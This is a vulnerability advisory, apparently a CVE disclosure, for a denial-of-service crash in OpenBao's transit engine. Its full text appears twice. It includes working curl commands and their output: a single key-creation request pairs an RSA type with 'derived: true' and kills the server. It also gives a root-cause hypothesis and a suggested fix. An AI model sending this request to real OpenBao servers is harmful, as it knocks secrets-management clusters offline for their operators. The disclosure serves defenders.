CVE-2026-55776

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.